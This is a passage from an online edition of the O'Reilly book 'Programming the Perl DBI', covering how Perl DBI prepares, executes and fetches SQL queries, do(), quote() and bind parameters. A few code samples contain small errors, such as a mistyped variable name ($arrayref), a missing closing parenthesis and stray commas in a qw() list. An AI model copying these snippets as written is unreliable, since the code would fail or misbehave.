values[9] -> Larry Wall is utterly unlike a number and should be quoted!

The first 0x0F in the list of values is reported as looking like a number because Perl converted it into one (15) when the script was compiled. The second is not reported as looking like a number because the looks_like_number() function only looks for integers and floating-point numbers.

And that brings us to the end of the introduction to DBI and its architecture. We'll be talking more on how to actually do stuff with DBI in the next chapter.

Previous | Home | Next
4.5. Error Handling | Book Index | 5. Interacting with the Database
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Interacting with the Database (Programming the Perl DBI)

 Programming the Perl DBISearch this book

Chapter 5. Interacting with the Database

Contents:

Issuing Simple Queries
Executing Non-SELECT Statements
Binding Parameters to Statements
Binding Output Columns
do( ) Versus prepare( )
Atomic and Batch Fetching

In our journey through the DBI so far, we have discussed ways in which you can connect and disconnect from databases of various types within Perl programs. We have also discussed ways in which you can detect and rectify errors when calling DBI methods.

What we haven't discussed yet is how to manipulate data within your databases: that is, retrieving, updating, and deleting information (amongst other activities). This chapter discusses how to perform these activities with the DBI and how to use Perl's powerful data manipulation functionality to efficiently manipulate your data.

Recall the discussion in Chapter 4, "Programming with the DBI " about the architecture of DBI -- specifically, the topic of statement handles. These handles, and the methods associated with them, provide the functionality to manipulate data within your databases.

5.1. Issuing Simple Queries

The most common interaction between a program and a database is retrieving or fetching data. In standard SQL, this process is performed with the SELECT keyword. With Perl and the DBI, we have far more control over the way in which data is retrieved from the database. We also have far more control over how to post-process the fetched data.

Retrieving data from a database using DBI is essentially a four-stage cycle:

  1. The prepare stage parses an SQL statement, validates that statement, and returns a statement handle representing that statement within the database.

  2. Providing the prepare stage has returned a valid statement handle, the next stage is to execute that statement within the database. This actually performs the query and begins to populate data structures within the database with the queried data. At this stage, however, your Perl program does not have access to the queried data.

  3. The third stage is known as the fetch stage, in which the actual data is fetched from the database using the statement handle. The fetch stage pulls the queried data, row by row, into Perl data structures, such as scalars or hashes, which can then be manipulated and post-processed by your program.

    The fetch stage ends once all the data has been fetched, or it can be terminated early using the finish() method.

    If you'll need to re-execute() your query later, possibly with different parameters, then you can just keep your statement handle, re-execute() it, and so jump back to stage 2.

  4. The final stage in the data retrieval cycle is the deallocation stage. This is essentially an automatic internal cleanup exercise in which the DBI and driver deallocate the statement handle and associated information. For some drivers, that process may also involve talking to the database to tell it to deallocate any information it may hold related to the statement.

    All this is done for you automatically, triggered by Perl's own garbage collection mechanism.

This cycle occurs for every SQL SELECT statement executed. For other SQL statements, such as INSERT, UPDATE, and DELETE, the fetch is skipped and only the prepare, execute, and deallocation stages apply (as we'll discuss later in this chapter).

To understand how this four-stage data fetch cycle fits into your programs, we'll take a closer look at each stage individually.

5.1.1. Preparing SQL Statements

The first stage of the cycle to retrieve data from your database is to prepare the statement handle from an SQL statement. This stage generally corresponds to the parse stage that occurs internally within your database engine.

What typically occurs is that the SQL statement is sent as a string of characters via a valid database handle to the database. This string is then parsed by the database itself to ensure that it is valid SQL, both in terms of syntax and also in terms of entities referred to within the database (e.g., to make sure you aren't referring to tables that don't exist and that you have permission to refer to those that do).

Provided that the database swallows this statement without any complaints, it will return some sort of database-specific data structure that encapsulates that parsed statement. It is this database-specific data structure that the DBI further encapsulates as a statement handle. Figure 5-1 shows this process more clearly.

Figure 5-1. Statement preparation data flow via DBI

It is through this DBI statement handle that you perform the remainder of the data-fetching cycle.

In DBI terms, the way to prepare a statement is to use the prepare() method, which is executed via a database handle. For example, a simple DBI program that creates a statement handle can be written as follows:

#!/usr/bin/perl -w
#
# ch05/prepare/ex1: Simply creates a database handle and a statement handle

use DBI;

### The database handle
my $dbh = DBI->connect( "dbi:Oracle:archaeo", "username", "password" );

### The statement handle
my $sth = $dbh->prepare( "SELECT id, name FROM megaliths" );

exit;

This, of course, assumes that all goes well with the parsing of the statement. It is possible that you made a mistake when typing in your SQL statement, or that the database failed to parse the statement for any number of other reasons. If this occurs, a value of undef is returned from the prepare() call, signifying that the parse has failed.

In addition to this return value, the DBI would also print out an error message because the PrintError attribute is enabled by default on database handles from DBI->connect(). See Chapter 4, "Programming with the DBI " for more about PrintError.

Finally, there's an important twist to preparing statements, in that drivers are allowed to defer actually doing the prepare stage of the cycle until execute() is called. That's because some databases don't provide any other way of doing it. So everything that's been said about prepare() -- what it does and why it may fail -- may actually not apply until execute() is called.

5.1.1.1. Constructing "on-the-fly" statements

It is also possible to construct ``on-the-fly'' SQL statements using Perl's built-in string handling capabilities, which can then be passed to prepare( ). A good example of this functionality can be demonstrated using DBI to integrate databases and web sites.

Suppose you had your megalith database available on the Web for easy online browsing. When a user types in the name of a site, it gets passed into a CGI script in the form of a string. This string is then used in an SQL statement to retrieve the appropriate information on the site from the database.

Therefore, to be able to accomplish this sort of interactivity, you need to be able to custom-build SQL statements, and using Perl's string handling is one way to do it.[45] The following code illustrates the principle:

[45]A frequently better way is to use bind values, which we'll discuss later in this chapter.

### This variable is populated from the online form, somehow...
my $siteNameToQuery = $CGI->param( "SITE_NAME" );

### Take care to correctly quote it for use in an SQL statement
my $siteNameToQuery_quoted = $dbh->quote( $siteNameToQuery );

### Now interpolate the variable into the double-quoted SQL statement
$sth = $dbh->prepare( "
            SELECT meg.name, st.site_type, meg.location, meg.mapref
            FROM megaliths meg, site_types st
            WHERE name = $siteNameToQuery_quoted
            AND meg.site_type_id = st.id
          " );
$sth->execute(  );
@row = $sth->fetchrow_array(  );
...

Furthermore, any part of this query can be constructed on the fly since the SQL statement is, at this stage, simply a Perl string. Another neat trick is to adaptively query columns from the database depending on which fields the online browser wants to display. Figure 5-1 shows the web page from which the user selects his or her desired columns.

Figure 5-1. Megalithic query form

The code required to drive this form of SQL generation can be written neatly as:

### Collect the selected field names
@fields = ();

### Work out which checkboxes have been selected
push @fields, "name"     if $nameCheckbox     eq "CHECKED";
push @fields, "location" if $locationCheckbox eq "CHECKED";
push @fields, "type"     if $typeCheckbox     eq "CHECKED";
push @fields, "mapref"   if $maprefCheckbox   eq "CHECKED";

### Sanity-check that *something* was selected
die "No fields were selected for querying!\n"
    unless @fields;

### Now build the SQL statement
$statement = sprintf "SELECT %s FROM megaliths WHERE name = %s",
    join(", ", @fields), $dbh->quote($siteNameToQuery);

### Perform the query
$sth = $dbh->prepare( $statement );
$sth->execute();
@row = $sth->fetchrow_array();
...

That is, the entire SQL query, from the columns to fetch to the conditions under which the data is fetched, has been constructed dynamically and passed to the database for processing.

The web page that was displayed on the user's browser after executing this query can be seen in Figure 5-2.

Figure 5-2. Megalithic query results

Therefore, by using Perl's string handling to build SQL statements based on input from the user, DBI can be used to drive quite complex web forms in a very simple and flexible manner.

5.1.2. Executing Select Statements

The second stage of the data fetch cycle is to inform the database to go ahead and execute the SQL statement that you have prepared. This execution stage will actually tell the database to perform the query and begin to collect the result set of data.

Performing the execution of the SQL statement occurs via a valid statement handle created when the prepare() method successfully completes. For example, execution of an SQL statement can be expressed as simply as:

### Create the statement handle
my $sth = $dbh->prepare( "SELECT id, name FROM megaliths" );

### Execute the statement handle
$sth->execute();

Assuming that all goes well with the execution of your statement, a true value will be returned from the execute() call. Otherwise, a value of undef is returned, signifying that the execution has failed.

As with most DBI methods, if PrintError is enabled, then an error message will be generated via warn() . Alternatively, if RaiseError is enabled, an exception will be generated via die() . However you choose to do it, it is always a good idea to check for errors.[46]

[46]We sometimes don't explicitly check for errors in the fragments of code we use as examples. In these cases, you can safely assume that we're strapped into our RaiseError ejector seat.

After execute() returns successfully, the database has not necessarily completed the execution of the SELECT statement; it may have only just started. Imagine that megaliths are very common, and our megaliths table has ten million rows. In response to the execute() earlier, the database may do no more than set a pointer, known as a cursor, to just above the first row of the table.

So, after successful execution, the database and driver are ready to return the results, but those results will not have been returned to your Perl program yet. This is an important point to remember. To extract the results data from the database, you need to explicitly fetch them. This is the third stage in the cycle.

5.1.3. Fetching Data

Fetching data is the main object of issuing queries to the database. It's fine to exercise a database by executing queries, but unless you actually retrieve that data, your program will never be able to make use of it.

The data retrieved by your SQL query is known as a result set (so called because of the mathematical set theory on which relational databases are based). The result set is fetched into your Perl program by iterating through each record, or row, in the set and bringing the values for that row into your program. This form of fetching result set data on a row-by-row basis is generally termed a cursor .

Cursors are used for sequential fetching operations: records are fetched in the order in which they are stored within the result set. Currently, records cannot be skipped over or randomly accessed. Furthermore, once a row addressed by a cursor has been fetched, it is ``forgotten'' by the cursor. That is, cursors cannot step backwards through a result set.

Therefore, the general way in which we fetch data from the database's result set is to loop through the records returned via the statement handle, processing each row until no rows are left to fetch. This can be expressed by the following pseudo-code.

while ( records to fetch from $sth ) {
    ### Fetch the current row from the cursor
    @columns = get the column values;
    ### Print it out...
    print "Fetched Row: @columns\n";
}

The DBI simplifies this process even further by combining the check for more data and the fetching of that data into a single method call.

There are several ways in which rows can be retrieved from the result set using different Perl datatypes. For example, you can fetch a row in the form of a simple list of values, a reference to an array of values, or a reference to a hash of field-name/value pairs. All essentially retrieve the current row from the cursor, but return the data to your Perl program in different formats.

The simplest form of data fetching is to use the fetchrow_array() method, which returns an array, or rather a list, containing the fields of the row. Let's say that we wanted to fetch the name of a megalithic site and what sort of site it is from our megaliths database. Therefore, to fetch this data from the table, we would write:

### Prepare the SQL statement ( assuming $dbh exists )
$sth = $dbh->prepare( "
            SELECT meg.name, st.site_type
            FROM megaliths meg, site_types st
            WHERE meg.site_type_id = st.id
          " );

### Execute the SQL statement and generate a result set
$sth->execute();

### Fetch each row of result data from the database as a list
while ( ( $name, $type ) = $sth->fetchrow_array ) {
    ### Print out a wee message....
    print "Megalithic site $name is a $type\n";
}

You could also fetch the data via fetchrow_array() into an array variable instead of a list of scalar variables by writing:

while ( @row = $sth->fetchrow_array ) {
    ### Print out a wee message
    print "Megalith site $row[0] is a $row[1]\n";
}

which is functionally identical.

The fundamentally important thing to remember is that the fields in the result set are in the order in which you asked for the columns in the SQL statement. Therefore, in the example code listed above, the name field was requested before the site_type field. This ensured that the first element of the array or scalar list was the value of the name field, followed by the values of the site_type field.

The while loop keeps looping until the expression in parentheses evaluates to false. Naturally, we want to stop looping when there's no more data to fetch, and the fetchrow_array() method arranges that for us. It returns an empty list when there's no more data. Perl treats that as a false value, thus stopping the loop.

An important point to remember about fetch loops is that the fetch methods return the same value for both the no-more-data condition and an error condition. So an error during fetching will cause the loop to exit as if all the data had been fetched. When not using RaiseError, it's therefore good practice to check for the occurrence of errors immediately after every loop exits. The example below demonstrates this.[47]

[47]Other fetch loop examples in the book assume that RaiseError is enabled.

Another way in which you can fetch the data from the database is to use the fetchrow_arrayref() method, which returns a reference to an array rather than an array itself. This method has a performance benefit over fetchrow_array(), as the returned data is not copied into a new array for each row fetched. For example:

### Fetch the rows of result data from the database
### as an array ref....
while ( $array_ref = $sth->fetchrow_arrayref ) {
    ### Print out a wee message....
    print "Megalithic site $arrayref->[0] is a $array_ref->[1]\n";
}
die "Fetch failed due to $DBI::errstr" if $DBI::err;

An important thing to watch out for is that currently the same array reference is used for all rows fetched from the database for the current statement handle. This is of utmost importance if you are storing the row data somewhere for future reference. For example, the following code was written to stash the returned megalith data in a persistent store for future reference after fetching:

### The stash for rows...
my @stash;

### Fetch the row references and stash 'em!
while ( $array_ref = $sth->fetchrow_arrayref ) {
    push @stash, $array_ref;        # XXX WRONG!
}

### Dump the stash contents!
foreach $array_ref ( @stash ) {
    print "Row: @$array_ref\n";
}

Something very strange happens here. All the rows printed out from the stash are identical instead of being different. This is because you've stored the reference to the row data instead of the row data itself, and since DBI reuses the same reference for each row, you don't quite get the results you expect. Be sure to store a copy of the values that the array reference points to rather than the reference itself, as this example shows:

### The stash for rows...
my @stash;

### Fetch the row references and stash 'em!
while ( $array_ref = $sth->fetchrow_arrayref ) {
    push @stash, [ @$array_ref ];  # Copy the array contents
}

### Dump the stash contents!
foreach $array_ref ( @stash ) {
    print "Row: @$array_ref\n";
}

The fetchrow_arrayref() method is used especially in conjunction with column binding, which we shall discuss later in this chapter.

The final cursor-based way to fetch the rows of your result set data from the database is to grab it as a hash reference. This functionality is implemented via the fetchrow_hashref() method, which is used in the same way as fetchrow_arrayref(). For example:

### Fetch the current row into a hash reference
while ( $hash_ref = $sth->fetchrow_hashref ) {
    ...

The hash pointed to by the reference has the names of the fetched fields as the keys to the hash, and the values of those fields are stored as the hash values. Thus, if we fetched the name and site_type fields from the database, we could address the hash elements like this:

### Fetch rows into a hash reference
while ( $hash_ref = $sth->fetchrow_hashref ) {
    print "Megalithic site $hash_ref->{name} is a $hash_ref->{site_type}\n";
}

There are, as you might expect, a few caveats to using this particular method. The most important thing to watch out for is the actual name of the field that you've fetched. Some databases will do strange things to the field name, such as convert it to all uppercase or all lowercase characters, which could cause you to access the wrong hash key. You can avoid this problem by telling fetchrow_hashref() the name of the attribute to use to supply the field names. That is, you could use NAME as the default; NAME_uc to force field names to be uppercase; and NAME_lc to force them to be lowercase. For example, a portable way to use hash references can be written as:

### Fetch rows into a hash reference with lowercase field names
while ( $hash_ref = $sth->fetchrow_hashref('NAME_lc') {
    print "Megalithic site $hash_ref->{name} is a $hash_ref->{site_type}\n";
}

Specifying NAME_uc or NAME_lc is recommended, and doesn't have any impact on performance.

There are a couple more caveats with fetchrow_hashref() that we should discuss. If your SELECT statement uses a fully qualified field name, such as:

SELECT megaliths.id, ...

then most databases will still return only the string id as the name of the field. That's not usually a problem but can trip you up if you have selected more than one field with the same name, for example:

SELECT megaliths.id, media.id ...

Since the hash returned by fetchrow_hashref() can have only one id key, you can't get values for both fields. You can't even be sure which of the two id field values you've got. Your only options here are to either use a different method to fetch the rows or to alias the column names. Aliasing the columns is similar to aliasing the table names, which we discussed in Chapter 3, "SQL and Relational Databases ". You can put an alias name after the column expression:

SELECT megaliths.id meg_id, media.id med_id ...

though some databases require the slightly more verbose form:

SELECT megaliths.id AS meg_id, media.id AS med_id ...

This alias technique is also very handy when selecting expressions such as:

SELECT megaliths.id + 1 ...

because databases differ in how they name columns containing expressions. Using aliases not only makes it easier to refer to the columns but also makes your application more portable.

When discussing fetchrow_arrayref(), we pointed out that it currently returns the same array reference for each row. Well, fetchrow_hashref() currently doesn't return the same hash reference for each row but definitely will in a future release. (This change will also make it faster, as it's a little slower than we'd like at the moment.)

There are other techniques for fetching data from the database, but these deal with either batch fetching or atomic fetching and are discussed later in this chapter.

5.1.3.1. A quick way to fetch and print

The DBI supports a utility method called dump_results( ) for fetching all of the rows in a statement handle's result set and printing them out. This method is invoked via a prepared and executed statement handle, and proceeds to fetch and print all the rows in the result set from the database. As each line is fetched, it is formatted according either to default rules or to rules specified by you in your program. Once dump_results( ) has finished executing, it prints the number of rows fetched from the database and any error message. It then returns with the number of rows fetched.

For example, to quickly display the results of a query, you can write:

$sth = $dbh->prepare( "
            SELECT name, mapref, location
            FROM megaliths
          " );
$sth->execute(  );
$rows = $sth->dump_results(  );

which would display the following results:

'Balbirnie', 'NO 285 029', 'Balbirnie Park, Markinch, Fife'
'Castlerigg', 'NY 291 236', 'Near Keswick, Cumbria, England'
'Sunhoney', 'NJ 716 058', 'Near Insch, Aberdeenshire'
'Avebury', 'SU 103 700', 'Avebury, Wiltshire, England'
4 rows

You can customize the way in which this output is formatted by specifying the maximum length of each field within the row, the characters separating each field within the row, and the characters separating each row. You can also supply a Perl filehandle to which the output is written.

The default settings for these parameters are:

1:  Maximum Field Length  -   35
2:  Line Separator        -   "\n"
3:  Field Separator       -   ","
4:  Output file handle    -   STDOUT

Therefore, to generate output with 80 character fields separated by colons to a file, you can write:

### Prepare and execute the query
$sth = $dbh->prepare( "
            SELECT name, location, mapref
            FROM megaliths
          " );
$sth->execute(  );

### Open the output file
open FILE, ">results.lis" or die "Can't open results.lis: $!";

### Dump the formatted results to the file
$rows = $sth->dump_results( 80, '\n', ':', \*FILE );

### Close the output file
close FILE or die "Error closing result file: $!\n";

dump_results( ) internally uses the neat_list( ) utility function (described in the previous chapter) for the actual formatting operation. Because of this, you should not use the output of dump_results( ) for any data transfer or data processing activity. It's only meant for human consumption.

5.1.4. Finishing a Data Fetch Early

When a statement handle for a SELECT statement has been successfully executed, it is said to be active. There's even a boolean statement handle attribute called Active that you can read. Being active simply means that there's something actively going on within the database server on behalf of this handle.

When you call a fetch method again, after fetching the last row of data, the driver automatically finishes whatever is actively going on within the database server on behalf of this execute() and resets the Active attribute. Most drivers don't actually have to do anything in this particular case because the server knows that the driver has fetched the last row. So the server has automatically freed up any resources it was using to store that result set.

Since this finishing-up is done automatically when a fetch method returns an end-of-data status, there's usually no need to be aware of it. However, there are two types of situations where it's appropriate to take matters into your own hands by calling the finish() method on the statement handle. (Keep in mind that finish() doesn't "finish" the statement handle itself -- it finishes only the current execution of it. You can still call execute() on the handle again later.)

The first situation is a little obscure and relates to being a good database-citizen. If the database server is using a significant amount of temporary disk space to hold your result set, and you haven't fetched all the records, and you won't be destroying or re-executing the statement handle soon, then it's appropriate to call finish(). That way, the server can free up the temporary disk space it's holding for your results.[48]

[48]A classic example is SELECT dialled_number, count(*) FROM calls WHERE subscriber = ? GROUP BY dialled_number ORDER BY count(*) DESC when you only want to fetch the first few rows out of the thousands that the database has stored in temporary buffer space and sorted for you.

The second type of situation is less obscure, mainly because the DBI nags you about it by issuing warnings like this one from disconnect( ):

disconnect invalidates 1 active statement handle
(either destroy statement handles or call finish on them before disconnecting)

What's happening here is that the DBI is warning you that an active statement handle, that may still have data to be fetched from it, is being invalidated (i.e., made unusable) by disconnecting from the database.

Why does the DBI bother to warn you? The idea is to help you spot cases where you have not caught and dealt with an error from a fetch method that has terminated a fetch loop before all the data has been retrieved. Some row fetch errors, such as a transaction being aborted, mean that it's not possible for more rows to be fetched from that statement handle. In those cases, the driver resets the Active flag. For others though, such as a divide-by-zero in a column expression, or a long field value being truncated, further rows can be fetched, so the driver leaves the Active flag set.

In practice, there are other situations apart from fetch loops that can leave you with active statement handles both in the normal flow of events and due to exceptional circumstances.

The most humble is the common desire to fetch only n rows because you know there are only n rows to be fetched. Most drivers can't tell that you've fetched the last row, so they can't reset the Active flag. This is similar to the "good database-citizen" situation we discussed earlier. The following example shows the finish( ) method being called after fetching the one and only row of interest:

sub select_one_row {
    my $sth = shift;
    $sth->execute(@_) or return;
    my @row = $sth->fetchrow_array(  );
    $sth->finish(  );
    return @row;
}

A more exceptional situation is often related to using RaiseError . When an exception is thrown, such as when the DBI detects an error on a handle with RaiseError set, or when any other code calls die( ) , then the flow of control within your script takes a sudden leap from where it was up to the nearest enclosing eval block. It's quite possible that this process may leave handles with unfinished data.

The warning from disconnect( ) , and most other DBI warnings, can be silenced for a given handle by resetting the Warn attribute of that handle. This practice is generally frowned upon, but if you must, you can.

Remember that calling finish( ) is never essential, does not destroy the Perl statement handle object itself, is not required to avoid leaks, and does not stop execute( ) being called again on the handle. All of those are common misconceptions, often perpetuated in other books. We'll discuss how statement handles actually do get destroyed in the next section.

5.1.5. Deallocating Statement Handles

When a statement is prepared, the returned statement handle is associated with allocated memory resources within both your Perl script and the database server you're connected to. When you no longer need a statement handle, you should destroy it. That sounds drastic, but all it really means is letting go.

Statement handles are actually represented by Perl objects and, as such, are subject to the machinations of Perl's garbage collector. This implies that when no references to a statement handle remain (for example, the handle variable has gone out of scope or has been overwritten with a new value), Perl itself will destroy the object and reclaim the resources used by it.

Here's an example of a short-lived statement handle:

if ($fetch_new_data) {
    my $sth = $dbh->prepare( ... );
    $sth->execute(  );
    $data = $sth->fetchall_arrayref(  );
}

Notice that we don't have to make any explicit steps to free or deallocate the statement handle. Perl is doing that for us. The my $sth variable holds the only reference to that particular statement handle object. When the $sth variable ceases to exist at the end of the block, the last reference is removed and Perl's garbage collector swings into action. Similarly, when the script exits, all global variables cease to exist and any objects they refer to are deallocated in the same way.

Here's a slightly different example:

### Issue SQL statements to select sites by type
foreach ( 'Stone Circle', 'Monolith', 'Henge' ) {
    my $sth = $dbh->prepare( ... $_ ... );
    $sth->execute(  );
    $sth->dump_results(  );
}

The second and subsequent itterations of the loop assign a new statement handle reference to the $sth variable, which deletes the reference it previously held. So once again, since that was the only reference to the handle and it's now been deleted, the handle gets deallocated.

You might have an application that prepares, uses, and discards thousands (or hundreds of thousands) of statement handles throughout its lifetime. If the database resources for the statements were not freed until the database connection was closed, you could easily exhaust the database resources in a short amount of time.

In practice, the only time that you might overload the database is when you're storing the statement handles in arrays or hashes. If you're not careful to delete or overwrite old values, then handles can accumulate.

To keep track of how many statement handles are allocated for a database handle (for example, to help spot leaks), you can use the Kids and ActiveKids database handle attributes. Both of these will return integer counts. The first counts all statement handles; the second counts only those that have their Active attribute set.

Previous | Home | Next
4.6. Utility Methods and Functions | Book Index | 5.2. Executing Non-SELECT Statements
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Executing Non-SELECT Statements (Programming the Perl DBI)

 Programming the Perl DBISearch this book

5.2. Executing Non-SELECT Statements

We discussed in Chapter 3, "SQL and Relational Databases " the various data manipulation techniques that you might wish to use on your data. So far in this chapter, we have discussed the most commonly used data manipulation operation, fetching. But what about inserting, deleting, and updating data?

These operations are treated somewhat differently than querying, as they do not use the notion of a cursor to iterate through a result set. They simply affect rows of data stored within tables without returning any rows to your programs. As such, the full prepare-execute-fetch-deallocate cycle is not as appropriate for these operations. The fetch stage simply doesn't apply.

Since you're usually going to invoke these statements only once, it would be very tiresome to have to call prepare( ) to get a statement handle and then call execute( ) on that statement handle to actually invoke it, only to immediately discard that statement handle.

Fortunately, the DBI defines a shortcut for carrying out these operations -- the do( ) method, invoked against a valid database handle. Using do( ) is extremely easy. For example, if you wished to delete some rows of data from the megaliths table, the following code is all that's required:

### Assuming a valid database handle exists....
### Delete the rows for Stonehenge!
$rows = $dbh->do( "
            DELETE FROM megaliths
            WHERE name = 'Stonehenge'
        " );

To signify whether or not the SQL statement has been successful, a value is returned from the call signifying either the number of rows affected by the SQL statement, or undef if an error occurred.

Some databases and some statements will not be able to return the number of rows affected by some statements; -1 will be returned in these cases.

As a special case, a row count of zero is returned as the string 0E0, which is just a fancy mathematical way of saying zero. Returning 0E0 instead of 0 means that the do( ) method still returns a value that Perl interprets as true, even when no rows have been affected.[49] The do( ) method returns a false value only on an error.

[49]Perl actually has special logic to allow the string 0 but true to be used for this kind of purpose. The DBI doesn't use that because people are bound to write messages like print Deleted $rows rows\n and Deleted 0E0 rows reads slightly better than Deleted 0 but true rows.

A good DBI method to remember is quote( ) -- especially when building SQL statements, and especially when inserting new data into the database via do( ). This method correctly quotes values as literal strings within your SQL statement before it is issued to the database. We discussed this method in Chapter 4, "Programming with the DBI ".

Previous | Home | Next
5. Interacting with the Database | Book Index | 5.3. Binding Parameters to Statements
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Binding Parameters to Statements (Programming the Perl DBI)

 Programming the Perl DBISearch this book

5.3. Binding Parameters to Statements

One topic we have mentioned in our discussion of the preparation of statement handles is bind values. You may also have come across the phrases placeholders , parameters , and binding . What are these things?

A bind value is a value that can be bound to a placeholder declared within an SQL statement. This is similar to creating an on-the-fly SQL statement such as:

$sth = $dbh->prepare( "
            SELECT name, location
            FROM megaliths
            WHERE name = " . $dbh->quote( $siteName ) . "
        " );

but instead of interpolating the generated value into the SQL statement, you specify a placeholder and then bind the generated value to that. For example:

$sth = $dbh->prepare( "
            SELECT name, location
            FROM megaliths
            WHERE name = ?
        " );
$sth->bind_param( 1, $siteName );

The bind_ param( ) method is the call that actually associates the supplied value with the given placeholder. The underlying database will correctly parse the placeholder and reserve a space for it, which is "filled in" when bind_ param( ) is called. It is important to remember that bind_ param( ) must be called before execute( ); otherwise, the missing value will not have been filled in and the statement execution will fail.

It's equally simple to specify multiple bind values within one statement, since bind_ param( ) takes the index, starting from 1, of the parameter to bind the given value to. For example:

$sth = $dbh->prepare( "
            SELECT name, location
            FROM megaliths
            WHERE name = ?
            AND mapref = ?
            AND type LIKE ?
        " );
$sth->bind_param( 1, "Avebury" );
$sth->bind_param( 2, $mapreference );
$sth->bind_param( 3, "%Stone Circle%" );

You may have noticed that we haven't called the quote( ) method on the values. Bind values are passed to the database separately from the SQL statement,[50] so there's no need to "wrap up" the value in SQL quoting rules.

[50]This is not strictly true, since some drivers emulate placeholders by doing a textual replacement of the placeholders with bind values before passing the SQL to the database. Such drivers use Perl's internal information to guess whether each value needs quoting or not. Refer to the driver documentation for more information.

Some database drivers can accept placeholders in the form of :1, :2, and so on, or even :name or :somevalue, but this is not guaranteed to be portable between databases. The only guaranteed portable placeholder form is a single question mark, ?. Of course, if the underlying database in question doesn't support binding, the driver may fail to parse the statement completely.

5.3.1. Bind Values Versus Interpolated Statements

So, why use bind values? What's the real differences between these and interpolated on-the-fly SQL statements?

On the face of it, there's no obvious difference. Interpolated statement creation uses Perl's string-handling functionality to create a complete SQL statement to send to the database. The bind values are sent to the database after the SQL statement, but just before it's executed. In both cases, the same result is achieved.

The actual difference lies in the way that databases handle bind values, assuming that they do. For example, most large database systems feature a data structure known as the "Shared SQL Cache," into which SQL statements are stored along with additional related information such as a query execution plan .

The general idea here is that if the statement already exists within the Shared SQL Cache, the database doesn't need to reprocess that statement before returning a handle to the statement. It can simply reuse the information stored in the cache. This process can increase performance quite dramatically in cases where the same SQL is executed over and over again.[51]

[51]I've known a case where the database spent over a minute just trying to work out a "good enough" query execution plan for a complex SQL query. In cases like this, reuse of the processed statement handle makes for a very large improvement in performance.

For example, say we wished to fetch the general information for 100 megalithic sites, using the name as the search field. We can write the following SQL to do so:

SELECT name, location, mapref
FROM megaliths
WHERE name = <search_term>

By using interpolated SQL, we would actually issue 100 different SQL statements to the database. Even though they are almost identical, they are different enough for the database to re-parse the statement and not use the cached information. By using a bind value, the same piece of SQL and the same "execution plan" will be reused over and over again, even though a different bind value is supplied for each query.

Therefore, for databases that support it, using bind values with prepared statement handles can quite dramatically increase the performance of your applications and the efficiency of your database. This is especially significant when trying to insert many records.

That said, there are good reasons to use interpolated SQL statements instead of bind values. One of these reasons could be simply that your database doesn't support bind values! A more complex reason is that your database may have restrictive rules about what parts of an SQL statement may use placeholders.

In the examples listed above, we've illustrated the use of bind values to supply conditions for the query. For the sake of badness, say we wanted to iterate through a list of database tables and return the row count from each one. The following piece of code illustrates the idea using an interpolated SQL statement:

foreach $tableName ( qw( megaliths, media, site_types ) ) {
    $sth = $dbh->prepare( "
                SELECT count(*)
                FROM $tableName
              " );
    $sth->execute(  );
    my $count = $sth->fetchrow_array(  );
    print "Table $tableName has $count rows\n";
}

By using an interpolated statement, this code would actually execute correctly and produce the desired results, albeit at the cost of parsing and executing four different SQL statements within the database. We could rewrite the code to use bind values, which would be more efficient (theoretically):

$sth = $dbh->prepare( "
                SELECT count(*)
                FROM ?
              " );
    $sth->bind_param( 1, $tableName );
    ...

On most databases, this statement would actually fail to parse at the prepare( ) call, because placeholders can generally be used only for literal values. This is because the database needs enough information to create the query execution plan, and it can't do that with incomplete information (e.g., if it doesn't know the name of the table).

Additionally, the following code will fail, since you are binding more than just literal values:

$sth = $dbh->prepare( "
                SELECT count(*)
                FROM megaliths
                ?
    " );
    $sth->bind_param( 1, "WHERE name = 'Avebury'" );
    ...

Of course, your driver might just support this sort of thing, but don't rely on it working on other database systems!

5.3.2. Bind Values and Data Typing

Perl is a loosely typed language, in that you have strings and you have numbers. Numbers can be strings and strings can, on occasion, be numbers. You can perform arithmetic on strings. It can all be very confusing for us, so you can imagine how the driver feels when confronted with bind values.

To help the driver work out what sort of data is being supplied in a bind value, you can supply an additional argument that specifies the datatype. For example, the following code will bind the appropriately typed bind values to the statement for execution in the database:

use DBI qw(:sql_types);

$sth = $dbh->prepare( "
            SELECT meg.name, meg.location, st.site_type, meg.mapref
            FROM megaliths meg, site_types st
            WHERE name = ?
            AND id = ?
            AND mapref = ?
            AND meg.site_type_id = st.id
          " );
### No need for a datatype for this value. It's a string.
$sth->bind_param( 1, "Avebury" );

### This one is obviously a number, so no type again
$sth->bind_param( 2, 21 );

### However, this one is a string but looks like a number
$sth->bind_param( 3, 123500, { TYPE => SQL_VARCHAR } );

### Alternative shorthand form of the previous statement
$sth->bind_param( 3, 123500, SQL_VARCHAR );

### All placeholders now have values bound, so we can execute
$sth->execute(  );

The use DBI qw(:sql_types); statement asks for the standard SQL types to be imported as names, actually subroutines, that return the corresponding standard SQL integer type value. SQL_VARCHAR, for example, returns 12. If you don't want to import the SQL type names, you can add a DBI:: prefix, so that SQL_VARCHAR would be DBI::SQL_VARCHAR. However, that's not recommended because you lose the significant benefits of compile-time checking by use strict;.

If a type is specified, the driver should take that as a strong hint about what to do. But it is just a hint. Some drivers don't pay any attention to the specified type. Of those that do, most only use it to differentiate between strings, numbers, and LONG/LOB types. This is a relatively new area for the DBI and drivers, and one that's advancing slowly.

In general, databases tend to support a far wider range of datatypes than numbers and strings. Date types are very common and have widely varying formats. The DBI currently copes with these quite happily, by ducking the issue and expecting you to supply strings containing the data, formatted in the form expected by the database for the appropriate datatype.[52]

[52]Future versions may acquire ODBC-style escape functions.

5.3.3. Binding Input and Output Parameters

There is a counterpart method to the bind_ param( ) method called bind_ param_inout( ) , which can be used to sneakily return values from the statement. Typically, this is only useful with stored procedures that take input parameters and return values. Furthermore, few databases, and even fewer drivers, support this functionality, so beware.

bind_ param_inout( ) behaves in a similar way to bind_ param( ), but uses a reference to a bind value instead of the value itself. This allows the bind value to be updated with the return value from the statement.

An additional argument stating the maximum length of the value to be returned must also be specified. If the returned value exceeds this value, the execute( ) call will fail. Therefore, if you aren't sure how large the return value might be, you should be pessimistic and supply a large value for this parameter. The only cost of doing so is using more memory than you need to.

A final, optional, argument that can be supplied is that of the datatype of the bind value. This behavior is identical to datatype specification in bind_ param( ) . See the previous section for more details on how to supply values for this argument.

An Oracle-specific example showing how bind_ param_inout( ) works revolves around the following stored procedure, which returns the nearest integer values to a given input value:

-- Example stored procedure written in Oracle PL/SQL
